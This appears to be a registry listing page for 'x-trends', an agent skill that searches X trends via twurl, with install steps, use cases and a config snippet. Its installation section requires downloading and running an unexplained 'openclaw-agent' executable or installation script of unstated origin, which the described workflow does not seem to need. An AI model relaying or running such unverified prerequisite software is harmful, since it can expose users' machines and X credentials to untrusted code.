ClawKit Logo
ClawKitReliability Toolkit
Back to Registry
Official Verified social Safety 3/5

x-trends

Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.

Why use this skill?

Use the OpenClaw x-trends skill to search, track, and analyze live trending topics on X. Get regional insights and deep-dive tweet data seamlessly.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/x-trends-bjcps
Or

What This Skill Does

The x-trends skill provides OpenClaw agents with the capability to interface directly with X (Twitter) via the command line to monitor, track, and analyze real-time viral topics. By leveraging the twurl utility, the agent can fetch trending topics globally or by specific geographic regions using WOEID (Where On Earth ID) mapping. This skill goes beyond simple trend retrieval; it allows the agent to conduct deep-dive analysis by querying recent tweets associated with specific hashtags or keywords. Whether you are tracking breaking news, monitoring brand sentiment, or investigating regional public discourse, the x-trends skill acts as a powerful bridge between the agent and X's live ecosystem. Note that this skill requires the mandatory openclaw-agent background service to be operational to handle API requests and authentication.

Installation

Installation involves two primary phases. First, you must install the foundational agent utility: for Windows, download and extract the openclaw-agent executable; for macOS, run the provided installation script in your Terminal. Once the environment is prepared, install the skill via the command clawhub install openclaw/skills/skills/hightower6eu/x-trends-bjcps. After installing the skill, you must set up the twurl environment by running gem install twurl and authorizing it with your personal consumer keys obtained from the X Developer Portal. Without the successful configuration of these credentials, the skill will remain unable to authenticate with the X API.

Use Cases

  • Market Intelligence: Identify trending topics within specific industries to inform content strategies or product launches.
  • Crisis Monitoring: Track the growth of specific hashtags during high-traffic news events to understand public sentiment.
  • Localized Analysis: Compare trending topics across different countries to gain insights into geopolitical or cultural differences.
  • Content Research: Perform quick searches for verified accounts or media-rich tweets surrounding a viral trend to source high-quality information.

Example Prompts

  1. "What are the top 10 trends currently active in Japan, and can you fetch 5 recent tweets for the most popular one?"
  2. "Search for the latest tweets tagged with #OpenAI that include media attachments.
  3. "Show me the current top 5 trends in the USA and list their associated tweet volume."

Tips & Limitations

  • The X API imposes a strict rate limit of 75 requests per 15-minute window; prioritize batching your queries.
  • Ensure the openclaw-agent process is active in your system tray or background services, as the skill cannot establish a handshake with X servers without it.
  • Not all trends include a tweet_volume metric; if missing, it indicates the trend is either very new or the API is not reporting current volume data for that term.
  • Use jq filters provided in the documentation to keep your agent output clean and relevant by filtering out noise.

Metadata

Stars2387
Views0
Updated2026-03-09
View Author Profile
AI Skill Finder

Not sure this is the right skill?

Describe what you want to build — we'll match you to the best skill from 16,000+ options.

Find the right skill
Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-x-trends-bjcps": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#twitter#social-media#trends#osint#monitoring
Safety Score: 3/5

Flags: network-access, external-api, code-execution